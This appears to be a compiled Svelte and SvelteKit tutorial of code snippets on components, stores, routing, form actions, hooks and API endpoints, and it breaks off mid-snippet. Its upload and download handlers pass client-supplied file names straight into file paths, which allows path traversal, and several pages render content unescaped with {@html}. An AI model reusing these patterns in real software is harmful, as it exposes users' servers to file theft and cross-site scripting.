  class:active={$activeTab === index}
  on:click={() => activeTab.set(index)}
>
  <slot />
</button>

<!-- TabPanel.svelte -->
<script>
  import { getContext } from 'svelte';

  export let index;

  const { activeTab } = getContext('tabs');
</script>

{#if $activeTab === index}
  <div class="tab-panel">
    <slot />
  </div>
{/if}

<!-- Usage -->
<script>
  import Tabs from './Tabs.svelte';
  import TabList from './TabList.svelte';
  import Tab from './Tab.svelte';
  import TabPanel from './TabPanel.svelte';

  let active = 0;
</script>

<Tabs bind:active>
  <TabList>
    <Tab index={0}>Tab 1</Tab>
    <Tab index={1}>Tab 2</Tab>
    <Tab index={2}>Tab 3</Tab>
  </TabList>

  <TabPanel index={0}>Content 1</TabPanel>
  <TabPanel index={1}>Content 2</TabPanel>
  <TabPanel index={2}>Content 3</TabPanel>
</Tabs>

<script>
  let items = [
    { id: 1, name: 'Item 1' },
    { id: 2, name: 'Item 2' },
    { id: 3, name: 'Item 3' }
  ];

  function shuffle() {
    items = items.sort(() => Math.random() - 0.5);
  }
</script>

<!-- ❌ Without key - components recreated -->
{#each items as item}
  <ExpensiveComponent data={item} />
{/each}

<!-- ✅ With key - components reused -->
{#each items as item (item.id)}
  <ExpensiveComponent data={item} />
{/each}

<script>
  // ❌ Mutating - won't trigger reactivity
  function badUpdate() {
    items[0].name = 'Updated';
  }

  // ✅ Immutable - triggers reactivity
  function goodUpdate() {
    items = items.map((item, i) =>
      i === 0 ? { ...item, name: 'Updated' } : item
    );
  }

  // ✅ Array operations
  function addItem(item) {
    items = [...items, item];
  }

  function removeItem(id) {
    items = items.filter(item => item.id !== id);
  }

  function updateItem(id, updates) {
    items = items.map(item =>
      item.id === id ? { ...item, ...updates } : item
    );
  }
</script>

<script>
  let HeavyComponent;
  let showHeavy = false;

  async function loadHeavy() {
    if (!HeavyComponent) {
      HeavyComponent = (await import('./HeavyComponent.svelte')).default;
    }
    showHeavy = true;
  }
</script>

<button on:click={loadHeavy}>Load Heavy Component</button>

{#if showHeavy && HeavyComponent}
  <svelte:component this={HeavyComponent} />
{/if}

<script>
  let numbers = [1, 2, 3, 4, 5];
  let filter = 'all';

  // Memoized computation - only runs when dependencies change
  $: filtered = numbers.filter(n => {
    console.log('Filtering...');
    if (filter === 'even') return n % 2 === 0;
    if (filter === 'odd') return n % 2 === 1;
    return true;
  });

  $: sum = filtered.reduce((a, b) => a + b, 0);
</script>

<script>
  import { onMount, tick } from 'svelte';

  export let items = [];
  export let itemHeight = 50;

  let viewport;
  let contents;
  let viewportHeight = 0;
  let scrollTop = 0;

  $: visibleItems = Math.ceil(viewportHeight / itemHeight) + 1;
  $: start = Math.floor(scrollTop / itemHeight);
  $: end = start + visibleItems;
  $: visible = items.slice(start, end);
  $: paddingTop = start * itemHeight;
  $: paddingBottom = (items.length - end) * itemHeight;

  onMount(() => {
    viewportHeight = viewport.offsetHeight;
  });
</script>

<div
  class="viewport"
  bind:this={viewport}
  bind:offsetHeight={viewportHeight}
  on:scroll={() => scrollTop = viewport.scrollTop}
>
  <div
    class="contents"
    style="padding-top: {paddingTop}px; padding-bottom: {paddingBottom}px;"
  >
    {#each visible as item (item.id)}
      <div class="item" style="height: {itemHeight}px;">
        {item.name}
      </div>
    {/each}
  </div>
</div>

<style>
  .viewport {
    height: 400px;
    overflow-y: auto;
  }
</style>

<!-- Component.svelte -->
<script lang="ts">
  export let name: string;
  export let age: number = 0;
  export let optional?: string;
  export let callback: (value: string) => void;

  interface User {
    id: number;
    name: string;
    email: string;
  }

  export let user: User;

  let count: number = 0;

  function increment(): void {
    count += 1;
  }
</script>

<button on:click={increment}>
  {name} ({age}) - Count: {count}
</button>

<script lang="ts">
  import { createEventDispatcher } from 'svelte';

  interface CustomEvents {
    submit: { value: string; timestamp: number };
    cancel: never;
  }

  const dispatch = createEventDispatcher<CustomEvents>();

  function handleSubmit() {
    dispatch('submit', {
      value: 'data',
      timestamp: Date.now()
    });
  }

  function handleCancel() {
    dispatch('cancel');
  }
</script>

// stores.ts
import { writable, derived, type Writable, type Readable } from 'svelte/store';

interface User {
  id: number;
  name: string;
  email: string;
}

export const user: Writable<User | null> = writable(null);

export const userName: Readable<string> = derived(
  user,
  ($user) => $user?.name ?? 'Guest'
);

// Custom typed store
interface CounterStore extends Readable<number> {
  increment: () => void;
  decrement: () => void;
  reset: () => void;
}

function createCounter(): CounterStore {
  const { subscribe, set, update } = writable(0);

  return {
    subscribe,
    increment: () => update(n => n + 1),
    decrement: () => update(n => n - 1),
    reset: () => set(0)
  };
}

export const counter: CounterStore = createCounter();

<!-- List.svelte -->
<script lang="ts" generics="T">
  export let items: T[];
  export let getKey: (item: T) => string | number;
  export let renderItem: (item: T) => string;
</script>

<ul>
  {#each items as item (getKey(item))}
    <li>{renderItem(item)}</li>
  {/each}
</ul>

<!-- Usage -->
<script lang="ts">
  import List from './List.svelte';

  interface Product {
    id: number;
    name: string;
    price: number;
  }

  const products: Product[] = [
    { id: 1, name: 'Apple', price: 1.99 },
    { id: 2, name: 'Banana', price: 0.99 }
  ];
</script>

<List
  items={products}
  getKey={(p) => p.id}
  renderItem={(p) => `${p.name} - $${p.price}`}
/>

<!-- UserContainer.svelte (Smart Component) -->
<script>
  import { onMount } from 'svelte';
  import UserPresenter from './UserPresenter.svelte';

  let user = null;
  let loading = true;
  let error = null;

  onMount(async () => {
    try {
      const response = await fetch('/api/user');
      user = await response.json();
    } catch (e) {
      error = e.message;
    } finally {
      loading = false;
    }
  });

  function handleUpdate(event) {
    // Handle update logic
  }
</script>

<UserPresenter
  {user}
  {loading}
  {error}
  on:update={handleUpdate}
/>

<!-- UserPresenter.svelte (Dumb Component) -->
<script>
  import { createEventDispatcher } from 'svelte';

  export let user;
  export let loading;
  export let error;

  const dispatch = createEventDispatcher();
</script>

{#if loading}
  <p>Loading...</p>
{:else if error}
  <p>Error: {error}</p>
{:else if user}
  <div class="user">
    <h2>{user.name}</h2>
    <p>{user.email}</p>
    <button on:click={() => dispatch('update')}>
      Update
    </button>
  </div>
{/if}

// auth.js
import { writable } from 'svelte/store';

function createAuth() {
  const { subscribe, set, update } = writable({
    user: null,
    token: null,
    loading: false
  });

  return {
    subscribe,
    login: async (credentials) => {
      update(state => ({ ...state, loading: true }));
      try {
        const response = await fetch('/api/login', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(credentials)
        });
        const data = await response.json();
        set({ user: data.user, token: data.token, loading: false });
      } catch (error) {
        update(state => ({ ...state, loading: false }));
        throw error;
      }
    },
    logout: () => {
      set({ user: null, token: null, loading: false });
    }
  };
}

export const auth = createAuth();

<script>
  import { getContext } from 'svelte';

  const features = getContext('features') || {};

  $: hasNewFeature = features.newFeature === true;
</script>

{#if hasNewFeature}
  <NewFeatureComponent />
{:else}
  <OldFeatureComponent />
{/if}

<!-- ErrorBoundary.svelte -->
<script>
  import { onMount } from 'svelte';

  let error = null;

  onMount(() => {
    window.addEventListener('error', handleError);
    return () => window.removeEventListener('error', handleError);
  });

  function handleError(event) {
    error = event.error;
  }

  export function reset() {
    error = null;
  }
</script>

{#if error}
  <div class="error-boundary">
    <h2>Something went wrong</h2>
    <p>{error.message}</p>
    <button on:click={reset}>Try again</button>
  </div>
{:else}
  <slot />
{/if}

<script>
  let obj = { count: 0 };
  let arr = [1, 2, 3];

  // ❌ These won't trigger updates
  obj.count += 1;
  arr.push(4);
  arr[0] = 10;

  // ✅ These will trigger updates
  obj = { ...obj, count: obj.count + 1 };
  arr = [...arr, 4];
  arr = arr.map((v, i) => i === 0 ? 10 : v);

  // ✅ Or reassign to trigger
  arr.push(4);
  arr = arr;
</script>

<button on:click|preventDefault|stopPropagation={handler}>
  Click
</button>

<!-- Common modifiers -->
<div on:click|preventDefault>...</div>
<div on:click|stopPropagation>...</div>
<div on:click|capture>...</div>
<div on:click|once>...</div>
<div on:click|passive>...</div>
<div on:click|self>...</div>
<div on:click|trusted>...</div>

<script>
  let element;

  // ❌ element is undefined here
  console.log(element);

  // ✅ Use onMount
  import { onMount } from 'svelte';

  onMount(() => {
    console.log(element); // Now it's defined
  });

  // ✅ Or reactive statement
  $: if (element) {
    console.log(element);
  }
</script>

<div bind:this={element}>Content</div>

<style>
  /* Scoped to this component */
  p {
    color: red;
  }

  /* Global styles */
  :global(body) {
    margin: 0;
  }

  /* Mixing scoped and global */
  div :global(.external-class) {
    color: blue;
  }

  /* Global modifier */
  :global(.global-class) p {
    color: green;
  }
</style>

<script>
  // ❌ Promise doesn't update
  let promise = fetch('/api/data');

  function refresh() {
    fetch('/api/data'); // This doesn't update the promise
  }

  // ✅ Reassign the promise
  function refreshCorrect() {
    promise = fetch('/api/data');
  }
</script>

{#await promise}
  <p>Loading...</p>
{:then data}
  <p>Data loaded</p>
{/await}

<button on:click={refreshCorrect}>Refresh</button>

<script>
  // ❌ This won't work for conditional rendering
  import Component from './Component.svelte';
  let show = false;
</script>

{#if show}
  <Component /> <!-- Always imported even when hidden -->
{/if}

<!-- ✅ Use dynamic import for code splitting -->
<script>
  let Component;
  let show = false;

  async function loadComponent() {
    if (!Component) {
      Component = (await import('./Component.svelte')).default;
    }
    show = true;
  }
</script>

{#if show && Component}
  <svelte:component this={Component} />
{/if}

# Create new SvelteKit project
npm create svelte@latest my-app
cd my-app

# Install dependencies
npm install

# Start development server
npm run dev

# Or use other package managers
pnpm create svelte@latest my-app
yarn create svelte my-app

import adapter from '@sveltejs/adapter-auto';
import { vitePreprocess } from '@sveltejs/kit/vite';

/** @type {import('@sveltejs/kit').Config} */
const config = {
  // Preprocessor for Svelte files
  preprocess: vitePreprocess(),

  kit: {
    // Adapter for deployment
    adapter: adapter(),

    // Alias configuration
    alias: {
      $components: 'src/lib/components',
      $utils: 'src/lib/utils',
      $stores: 'src/lib/stores'
    },

    // CSP headers
    csp: {
      directives: {
        'script-src': ['self']
      }
    },

    // Environment variables prefix
    env: {
      publicPrefix: 'PUBLIC_'
    }
  }
};

export default config;

import { sveltekit } from '@sveltejs/kit/vite';
import { defineConfig } from 'vite';

export default defineConfig({
  plugins: [sveltekit()],

  server: {
    port: 3000,
    strictPort: false
  },

  preview: {
    port: 4173
  },

  optimizeDeps: {
    include: ['lodash']
  }
});

my-sveltekit-app/
├── src/
│   ├── lib/
│   │   ├── components/        # Reusable components
│   │   ├── server/           # Server-only code
│   │   ├── stores/           # Svelte stores
│   │   └── utils/            # Utility functions
│   ├── routes/               # File-based routing
│   │   ├── +layout.svelte    # Root layout
│   │   ├── +layout.js        # Root layout data
│   │   ├── +page.svelte      # Home page
│   │   ├── +page.js          # Home page data
│   │   ├── about/
│   │   │   └── +page.svelte
│   │   ├── blog/
│   │   │   ├── +page.svelte
│   │   │   ├── +page.server.js
│   │   │   └── [slug]/
│   │   │       └── +page.svelte
│   │   └── api/
│   │       └── posts/
│   │           └── +server.js
│   ├── app.html              # HTML template
│   ├── app.css              # Global styles
│   ├── hooks.client.js      # Client hooks
│   └── hooks.server.js      # Server hooks
├── static/                   # Static assets
│   ├── favicon.png
│   └── robots.txt
├── tests/                    # Test files
├── .env                      # Environment variables
├── svelte.config.js         # SvelteKit config
├── vite.config.js           # Vite config
├── package.json
└── tsconfig.json            # TypeScript config

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <link rel="icon" href="%sveltekit.assets%/favicon.png" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    %sveltekit.head%
  </head>
  <body data-sveltekit-preload-data="hover">
    <div style="display: contents">%sveltekit.body%</div>
  </body>
</html>

routes/
├── +page.svelte              # / (home)
├── about/
│   └── +page.svelte          # /about
├── blog/
│   ├── +page.svelte          # /blog
│   ├── +layout.svelte        # Blog layout
│   └── [slug]/
│       └── +page.svelte      # /blog/my-post
├── products/
│   ├── +page.svelte          # /products
│   ├── [id]/
│   │   └── +page.svelte      # /products/123
│   └── [...path]/
│       └── +page.svelte      # /products/a/b/c
└── admin/
    └── (dashboard)/          # Route group (no URL segment)
        ├── users/
        │   └── +page.svelte  # /admin/users
        └── settings/
            └── +page.svelte  # /admin/settings

<script>
  export let data;
</script>

<h1>Welcome to SvelteKit</h1>
<p>Data from server: {data.message}</p>

<style>
  h1 {
    color: #ff3e00;
  }
</style>

export async function load({ fetch }) {
  return {
    message: 'Hello from load function'
  };
}

<script>
  import '../app.css';
  import Header from '$lib/components/Header.svelte';
  import Footer from '$lib/components/Footer.svelte';

  export let data;
</script>

<div class="app">
  <Header user={data.user} />

  <main>
    <slot />
  </main>

  <Footer />
</div>

<style>
  .app {
    display: flex;
    flex-direction: column;
    min-height: 100vh;
  }

  main {
    flex: 1;
  }
</style>

export async function load({ locals }) {
  return {
    user: locals.user || null
  };
}

<script>
  export let data;
</script>

<div class="blog-layout">
  <aside>
    <h2>Categories</h2>
    <ul>
      {#each data.categories as category}
        <li><a href="/blog/category/{category.slug}">{category.name}</a></li>
      {/each}
    </ul>
  </aside>

  <div class="content">
    <slot />
  </div>
</div>

<style>
  .blog-layout {
    display: grid;
    grid-template-columns: 250px 1fr;
    gap: 2rem;
  }
</style>

<script>
  export let data;
</script>

<article>
  <h1>{data.post.title}</h1>
  <div class="meta">
    <time>{data.post.date}</time>
    <span>By {data.post.author}</span>
  </div>
  <div class="content">
    {@html data.post.content}
  </div>
</article>

import { error } from '@sveltejs/kit';
import { getPostBySlug } from '$lib/server/database';

export async function load({ params }) {
  const post = await getPostBySlug(params.slug);

  if (!post) {
    throw error(404, {
      message: 'Post not found'
    });
  }

  return {
    post
  };
}

<!-- Matches /archive and /archive/2 -->
<script>
  export let data;
</script>

<h1>Archive - Page {data.page}</h1>

{#each data.posts as post}
  <article>
    <h2>{post.title}</h2>
  </article>
{/each}

export async function load({ params }) {
  const page = params.page ? parseInt(params.page) : 1;
  const posts = await fetchPosts(page);

  return {
    page,
    posts
  };
}

<script>
  export let data;
</script>

<nav>
  {#each data.breadcrumbs as crumb, i}
    {#if i > 0}<span>/</span>{/if}
    <a href={crumb.href}>{crumb.label}</a>
  {/each}
</nav>

<div>
  {@html data.content}
</div>

export async function load({ params }) {
  const path = params.path || '';
  const segments = path.split('/').filter(Boolean);

  const breadcrumbs = segments.map((segment, i) => ({
    label: segment,
    href: '/docs/' + segments.slice(0, i + 1).join('/')
  }));

  const content = await loadDocumentation(path);

  return {
    breadcrumbs,
    content
  };
}

routes/
└── (marketing)/            # Group name in parentheses
    ├── +layout.svelte     # Shared layout
    ├── about/
    │   └── +page.svelte   # /about (not /(marketing)/about)
    └── contact/
        └── +page.svelte   # /contact

export function match(param) {
  return /^\d+$/.test(param);
}

export async function load({ fetch, params, url }) {
  // Use SvelteKit's fetch for credentials and relative URLs
  const response = await fetch('/api/posts');
  const posts = await response.json();

  return {
    posts,
    currentPath: url.pathname
  };
}

import { db } from '$lib/server/database';

export async function load({ locals, cookies }) {
  // Access server-only resources
  const userId = locals.user?.id;

  if (!userId) {
    redirect(303, '/login');
  }

  const stats = await db.query('SELECT * FROM stats WHERE user_id = ?', [userId]);
  const preferences = cookies.get('preferences');

  return {
    stats,
    preferences: preferences ? JSON.parse(preferences) : {}
  };
}

export async function load({
  params,       // Route parameters
  url,          // URL object
  route,        // Route information
  fetch,        // Enhanced fetch
  setHeaders,   // Set response headers
  depends,      // Track dependencies
  parent,       // Parent load data
  locals,       // Server-only locals
  cookies       // Server-only cookies
}) {
  // Load logic
}

export async function load() {
  // Fast data loads immediately
  const user = await getUser();

  // Slow data streams in later
  return {
    user,
    // Return promise directly - SvelteKit will await it
    stats: getStats(),
    notifications: getNotifications()
  };
}

<script>
  export let data;
</script>

<h1>Welcome, {data.user.name}</h1>

{#await data.stats}
  <p>Loading stats...</p>
{:then stats}
  <div class="stats">
    <div>Posts: {stats.posts}</div>
    <div>Views: {stats.views}</div>
  </div>
{/await}

{#await data.notifications}
  <p>Loading notifications...</p>
{:then notifications}
  <ul>
    {#each notifications as notif}
      <li>{notif.message}</li>
    {/each}
  </ul>
{/await}

export async function load({ params, parent }) {
  // Get data from parent layout
  const { categories } = await parent();

  const post = await getPost(params.slug);

  return {
    post,
    relatedPosts: getRelatedPosts(post, categories)
  };
}

import { invalidate, invalidateAll } from '$app/navigation';

// Invalidate specific URL
await invalidate('/api/posts');

// Invalidate by dependency
await invalidate('posts:list');

// Invalidate all
await invalidateAll();

// In load function
export async function load({ fetch, depends }) {
  depends('posts:list');

  const posts = await fetch('/api/posts').then(r => r.json());
  return { posts };
}

// Later, in component
import { invalidate } from '$app/navigation';

async function refreshPosts() {
  await invalidate('posts:list');
}

import { fail, redirect } from '@sveltejs/kit';
import { db } from '$lib/server/database';

export const actions = {
  default: async ({ request, cookies }) => {
    const data = await request.formData();
    const email = data.get('email');
    const password = data.get('password');

    // Validation
    if (!email || !password) {
      return fail(400, {
        email,
        missing: true
      });
    }

    // Authenticate
    const user = await db.authenticate(email, password);

    if (!user) {
      return fail(400, {
        email,
        credentials: true
      });
    }

    // Set session cookie
    cookies.set('session', user.sessionId, {
      path: '/',
      httpOnly: true,
      sameSite: 'strict',
      secure: process.env.NODE_ENV === 'production',
      maxAge: 60 * 60 * 24 * 7 // 1 week
    });

    throw redirect(303, '/dashboard');
  }
};

<script>
  import { enhance } from '$app/forms';
  export let form;
</script>

<form method="POST" use:enhance>
  <label>
    Email
    <input
      name="email"
      type="email"
      value={form?.email ?? ''}
      required
    />
  </label>

  <label>
    Password
    <input name="password" type="password" required />
  </label>

  {#if form?.missing}
    <p class="error">Please fill in all fields</p>
  {/if}

  {#if form?.credentials}
    <p class="error">Invalid credentials</p>
  {/if}

  <button type="submit">Log in</button>
</form>

import { fail } from '@sveltejs/kit';
import { db } from '$lib/server/database';

export async function load() {
  const todos = await db.getTodos();
  return { todos };
}

export const actions = {
  create: async ({ request, locals }) => {
    const data = await request.formData();
    const text = data.get('text');

    if (!text) {
      return fail(400, { text, missing: true });
    }

    await db.createTodo({
      userId: locals.user.id,
      text
    });

    return { success: true };
  },

  update: async ({ request }) => {
    const data = await request.formData();
    const id = data.get('id');
    const completed = data.get('completed') === 'true';

    await db.updateTodo(id, { completed });

    return { success: true };
  },

  delete: async ({ request }) => {
    const data = await request.formData();
    const id = data.get('id');

    await db.deleteTodo(id);

    return { success: true };
  }
};

<script>
  import { enhance } from '$app/forms';
  export let data;
  export let form;
</script>

<!-- Create form -->
<form method="POST" action="?/create" use:enhance>
  <input name="text" placeholder="New todo..." />
  <button type="submit">Add</button>
  {#if form?.missing}
    <span class="error">Required</span>
  {/if}
</form>

<!-- Todo list -->
{#each data.todos as todo}
  <div class="todo">
    <!-- Update form -->
    <form method="POST" action="?/update" use:enhance>
      <input type="hidden" name="id" value={todo.id} />
      <input type="hidden" name="completed" value={!todo.completed} />
      <button type="submit">
        {todo.completed ? '☑' : '☐'}
      </button>
    </form>

    <span class:completed={todo.completed}>
      {todo.text}
    </span>

    <!-- Delete form -->
    <form method="POST" action="?/delete" use:enhance>
      <input type="hidden" name="id" value={todo.id} />
      <button type="submit">Delete</button>
    </form>
  </div>
{/each}

<script>
  import { enhance } from '$app/forms';

  let loading = false;
  let message = '';

  function handleSubmit() {
    loading = true;
    message = '';

    return async ({ result, update }) => {
      loading = false;

      if (result.type === 'success') {
        message = 'Subscribed successfully!';
        // Optionally don't update form
        // await update();
      } else if (result.type === 'failure') {
        message = result.data?.message || 'Subscription failed';
        await update();
      }
    };
  }
</script>

<form
  method="POST"
  use:enhance={handleSubmit}
>
  <input
    name="email"
    type="email"
    placeholder="your@email.com"
    disabled={loading}
  />

  <button type="submit" disabled={loading}>
    {loading ? 'Subscribing...' : 'Subscribe'}
  </button>
</form>

{#if message}
  <p class="message">{message}</p>
{/if}

import { fail } from '@sveltejs/kit';
import { writeFile } from 'fs/promises';
import path from 'path';

export const actions = {
  upload: async ({ request }) => {
    const data = await request.formData();
    const file = data.get('file');

    if (!file || !file.size) {
      return fail(400, { missing: true });
    }

    // Validate file type
    const allowedTypes = ['image/jpeg', 'image/png', 'image/webp'];
    if (!allowedTypes.includes(file.type)) {
      return fail(400, { invalidType: true });
    }

    // Validate file size (5MB max)
    const maxSize = 5 * 1024 * 1024;
    if (file.size > maxSize) {
      return fail(400, { tooLarge: true });
    }

    // Save file
    const filename = `${Date.now()}-${file.name}`;
    const filepath = path.join('static', 'uploads', filename);

    const buffer = Buffer.from(await file.arrayBuffer());
    await writeFile(filepath, buffer);

    return {
      success: true,
      url: `/uploads/${filename}`
    };
  }
};

<script>
  import { enhance } from '$app/forms';
  export let form;

  let files;
  let preview = '';

  $: if (files && files[0]) {
    const reader = new FileReader();
    reader.onload = (e) => preview = e.target.result;
    reader.readAsDataURL(files[0]);
  }
</script>

<form method="POST" action="?/upload" enctype="multipart/form-data" use:enhance>
  <input
    type="file"
    name="file"
    accept="image/*"
    bind:files
    required
  />

  {#if preview}
    <img src={preview} alt="Preview" />
  {/if}

  {#if form?.missing}
    <p class="error">Please select a file</p>
  {/if}

  {#if form?.invalidType}
    <p class="error">Only images are allowed</p>
  {/if}

  {#if form?.tooLarge}
    <p class="error">File too large (max 5MB)</p>
  {/if}

  {#if form?.success}
    <p class="success">Upload successful!</p>
    <img src={form.url} alt="Uploaded" />
  {/if}

  <button type="submit">Upload</button>
</form>

import { sequence } from '@sveltejs/kit/hooks';
import { db } from '$lib/server/database';

// Authentication hook
async function handleAuth({ event, resolve }) {
  const sessionId = event.cookies.get('session');

  if (sessionId) {
    const user = await db.getUserBySessionId(sessionId);
    if (user) {
      event.locals.user = user;
    }
  }

  return resolve(event);
}

// Logging hook
async function handleLog({ event, resolve }) {
  const start = Date.now();

  const response = await resolve(event);

  const duration = Date.now() - start;
  console.log(`${event.request.method} ${event.url.pathname} ${response.status} ${duration}ms`);

  return response;
}

// Protected routes hook
async function handleProtected({ event, resolve }) {
  if (event.url.pathname.startsWith('/admin')) {
    if (!event.locals.user?.isAdmin) {
      return new Response('Forbidden', { status: 403 });
    }
  }

  return resolve(event);
}

// Custom response headers
async function handleHeaders({ event, resolve }) {
  const response = await resolve(event);

  response.headers.set('X-Custom-Header', 'SvelteKit');

  return response;
}

// Combine multiple hooks with sequence
export const handle = sequence(
  handleAuth,
  handleProtected,
  handleLog,
  handleHeaders
);

// Handle fetch requests
export async function handleFetch({ request, fetch }) {
  // Modify fetch requests made during SSR
  if (request.url.startsWith('https://api.example.com/')) {
    request = new Request(
      request.url,
      {
        ...request,
        headers: {
          ...request.headers,
          'Authorization': `Bearer ${process.env.API_TOKEN}`
        }
      }
    );
  }

  return fetch(request);
}

// Handle errors
export function handleError({ error, event }) {
  // Log error to monitoring service
  console.error('Error:', error, 'Event:', event);

  return {
    message: 'An error occurred',
    code: error?.code ?? 'UNKNOWN'
  };
}

import { dev } from '$app/environment';

// Handle errors on client
export function handleError({ error, event }) {
  if (dev) {
    console.error('Client error:', error, event);
  }

  // Send to error tracking service
  if (!dev && window.Sentry) {
    Sentry.captureException(error);
  }

  return {
    message: 'Something went wrong'
  };
}

// Prerender this page at build time
export const prerender = true;

// Disable server-side rendering
export const ssr = false;

// Disable client-side rendering
export const csr = false;

// Trailing slash behavior: 'always' | 'never' | 'ignore'
export const trailingSlash = 'never';

export async function load({ fetch }) {
  const posts = await fetch('/api/posts').then(r => r.json());
  return { posts };
}

// src/routes/+layout.js
export const prerender = true;

// src/routes/blog/+page.js
export const prerender = true;

// src/routes/dashboard/+page.js
export const prerender = false;

// src/routes/blog/[slug]/+page.server.js
export const prerender = true;

export async function entries() {
  // Return all possible parameter values
  const posts = await getAllPosts();
  return posts.map(post => ({
    slug: post.slug
  }));
}

export async function load({ params }) {
  const post = await getPost(params.slug);
  return { post };
}

// Disable SSR for a specific page (SPA mode)
export const ssr = false;
export const csr = true;

// Server-only rendering (no hydration)
export const ssr = true;
export const csr = false;

// Full stack mode (default)
export const ssr = true;
export const csr = true;

import { json } from '@sveltejs/kit';

export async function GET() {
  return json({
    message: 'Hello from SvelteKit API'
  });
}

export async function POST({ request }) {
  const data = await request.json();

  return json({
    received: data
  }, {
    status: 201
  });
}

import { json, error } from '@sveltejs/kit';
import { db } from '$lib/server/database';

// GET /api/posts
export async function GET({ url }) {
  const limit = parseInt(url.searchParams.get('limit') || '10');
  const offset = parseInt(url.searchParams.get('offset') || '0');

  const posts = await db.query(
    'SELECT * FROM posts ORDER BY created_at DESC LIMIT ? OFFSET ?',
    [limit, offset]
  );

  return json(posts);
}

// POST /api/posts
export async function POST({ request, locals }) {
  if (!locals.user) {
    throw error(401, 'Unauthorized');
  }

  const { title, content } = await request.json();

  if (!title || !content) {
    throw error(400, 'Title and content are required');
  }

  const post = await db.createPost({
    title,
    content,
    authorId: locals.user.id
  });

  return json(post, { status: 201 });
}

import { json, error } from '@sveltejs/kit';
import { db } from '$lib/server/database';

// GET /api/posts/:id
export async function GET({ params }) {
  const post = await db.getPost(params.id);

  if (!post) {
    throw error(404, 'Post not found');
  }

  return json(post);
}

// PUT /api/posts/:id
export async function PUT({ params, request, locals }) {
  const post = await db.getPost(params.id);

  if (!post) {
    throw error(404, 'Post not found');
  }

  if (post.authorId !== locals.user?.id) {
    throw error(403, 'Forbidden');
  }

  const { title, content } = await request.json();

  const updated = await db.updatePost(params.id, {
    title,
    content
  });

  return json(updated);
}

// DELETE /api/posts/:id
export async function DELETE({ params, locals }) {
  const post = await db.getPost(params.id);

  if (!post) {
    throw error(404, 'Post not found');
  }

  if (post.authorId !== locals.user?.id && !locals.user?.isAdmin) {
    throw error(403, 'Forbidden');
  }

  await db.deletePost(params.id);

  return new Response(null, { status: 204 });
}

import { json } from '@sveltejs/kit';

export async function GET({ cookies }) {
  const preferences = cookies.get('preferences');

  return json(
    preferences ? JSON.parse(preferences) : {}
  );
}

export async function POST({ request, cookies }) {
  const preferences = await request.json();

  cookies.set('preferences', JSON.stringify(preferences), {
    path: '/',
    maxAge: 60 * 60 * 24 * 365, // 1 year
    httpOnly: false,
    sameSite: 'lax'
  });

  return json({ success: true });
}

export async function GET() {
  const encoder = new TextEncoder();

  const stream = new ReadableStream({
    async start(controller) {
      for (let i = 0; i < 10; i++) {
        await new Promise(resolve => setTimeout(resolve, 1000));
        controller.enqueue(encoder.encode(`data: ${i}\n\n`));
      }
      controller.close();
    }
  });

  return new Response(stream, {
    headers: {
      'Content-Type': 'text/event-stream',
      'Cache-Control': 'no-cache'
    }
  });
}

import { error } from '@sveltejs/kit';
import { readFile } from 'fs/promises';
import path from 'path';

export async function GET({ params }) {
  const filename = params.filename;
  const filepath = path.join('static', 'downloads', filename);

  try {
    const file = await readFile(filepath);

    return new Response(file, {
      headers: {
        'Content-Type': 'application/octet-stream',
        'Content-Disposition': `attachment; filename="${filename}"`
      }
    });
  } catch (err) {
    throw error(404, 'File not found');
  }
}

<script>
  import { page, navigating, updated } from '$app/stores';

  // page - contains url, params, route, status, error, data, form
  $: console.log('Current URL:', $page.url.pathname);
  $: console.log('Route params:', $page.params);
  $: console.log('Page data:', $page.data);

  // navigating - contains from, to, type during navigation
  $: if ($navigating) {
    console.log('Navigating from', $navigating.from, 'to', $navigating.to);
  }

  // updated - becomes true when new version deployed
  $: if ($updated) {
    // Reload to get new version
    location.reload();
  }
</script>

<nav>
  <a href="/" class:active={$page.url.pathname === '/'}>
    Home
  </a>
  <a href="/about" class:active={$page.url.pathname === '/about'}>
    About
  </a>
</nav>

{#if $navigating}
  <div class="loading-bar" />
{/if}

import { writable, derived } from 'svelte/store';
import { browser } from '$app/environment';

function createCart() {
  // Load from localStorage if in browser
  const stored = browser && localStorage.getItem('cart');
  const initial = stored ? JSON.parse(stored) : [];

  const { subscribe, set, update } = writable(initial);

  // Sync to localStorage
  if (browser) {
    subscribe(value => {
      localStorage.setItem('cart', JSON.stringify(value));
    });
  }

  return {
    subscribe,

    addItem: (item) => update(items => {
      const existing = items.find(i => i.id === item.id);
      if (existing) {
        return items.map(i =>
          i.id === item.id
            ? { ...i, quantity: i.quantity + 1 }
            : i
        );
      }
      return [...items, { ...item, quantity: 1 }];
    }),

    removeItem: (id) => update(items =>
      items.filter(i => i.id !== id)
    ),

    updateQuantity: (id, quantity) => update(items =>
      items.map(i =>
        i.id === id ? { ...i, quantity } : i
      )
    ),

    clear: () => set([])
  };
}

export const cart = createCart();

export const cartTotal = derived(
  cart,
  $cart => $cart.reduce((sum, item) =>
    sum + item.price * item.quantity, 0
  )
);

export const cartCount = derived(
  cart,
  $cart => $cart.reduce((sum, item) =>
    sum + item.quantity, 0
  )
);

<script>
  import { cart, cartTotal, cartCount } from '$lib/stores/cart';

  export let data;
</script>

<header>
  <a href="/cart">
    Cart ({$cartCount}) - ${$cartTotal.toFixed(2)}
  </a>
</header>

{#each data.products as product}
  <div class="product">
    <h3>{product.name}</h3>
    <p>${product.price}</p>
    <button on:click={() => cart.addItem(product)}>
      Add to Cart
    </button>
  </div>
{/each}

<script>
  import { setContext } from 'svelte';
  import { writable } from 'svelte/store';

  export let data;

  // Create app-wide state
  const theme = writable(data.userPreferences?.theme || 'light');
  const user = writable(data.user);

  setContext('app', {
    theme,
    user,
    toggleTheme: () => theme.update(t => t === 'light' ? 'dark' : 'light')
  });
</script>

<div class="app" data-theme={$theme}>
  <slot />
</div>

<script>
  import { getContext } from 'svelte';

  const { theme, user, toggleTheme } = getContext('app');
</script>

<header>
  <span>Welcome, {$user?.name || 'Guest'}</span>
  <button on:click={toggleTheme}>
    {$theme === 'light' ? '🌙' : '☀️'}
  </button>
</header>

<script>
  import { goto, invalidate, invalidateAll } from '$app/navigation';
  import { beforeNavigate, afterNavigate } from '$app/navigation';

  async function navigate() {
    // Navigate to a route
    await goto('/dashboard');

    // Navigate with options
    await goto('/dashboard', {
      replaceState: true,  // Replace history instead of push
      noScroll: true,      // Don't scroll to top
